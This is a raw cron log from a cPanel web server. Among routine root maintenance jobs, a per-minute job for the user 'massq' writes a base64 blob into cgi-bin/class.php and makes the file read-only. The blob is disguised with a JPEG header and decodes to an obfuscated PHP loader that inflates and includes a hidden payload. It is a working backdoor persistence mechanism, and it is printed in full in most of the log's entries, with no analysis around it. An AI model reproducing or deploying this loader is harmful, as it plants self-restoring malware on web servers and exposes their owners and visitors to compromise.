Sep  4 15:03:01 server CROND[24925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:03:01 server CROND[24926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:03:01 server CROND[24927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:04:01 server CROND[25342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:04:01 server CROND[25343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:04:01 server CROND[25344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:05:01 server CROND[25729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:05:01 server CROND[25730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:05:01 server CROND[25732]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 15:05:01 server CROND[25733]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:05:01 server CROND[25737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:05:01 server CROND[25735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:05:01 server CROND[25736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:05:01 server CROND[25740]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:06:01 server CROND[26572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:06:01 server CROND[26571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:06:01 server CROND[26573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:07:01 server CROND[26963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:07:01 server CROND[26964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:07:01 server CROND[26962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:08:01 server CROND[27403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:08:01 server CROND[27404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:08:01 server CROND[27405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:09:02 server CROND[27817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:09:02 server CROND[27818]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 15:09:02 server CROND[27820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:09:02 server CROND[27819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:10:01 server CROND[28188]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:10:01 server CROND[28192]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:10:01 server CROND[28198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:10:01 server CROND[28201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:10:01 server CROND[28204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:10:01 server CROND[28199]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:10:01 server CROND[28206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:10:01 server CROND[28202]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:11:01 server CROND[29038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:11:01 server CROND[29037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:11:01 server CROND[29039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:12:01 server CROND[29435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:12:01 server CROND[29436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:12:01 server CROND[29437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:12:01 server CROND[29438]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 15:13:01 server CROND[29821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:13:01 server CROND[29822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:13:01 server CROND[29823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:14:01 server CROND[30357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:14:01 server CROND[30360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:14:01 server CROND[30358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:15:01 server CROND[30746]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:15:01 server CROND[30748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:15:01 server CROND[30752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
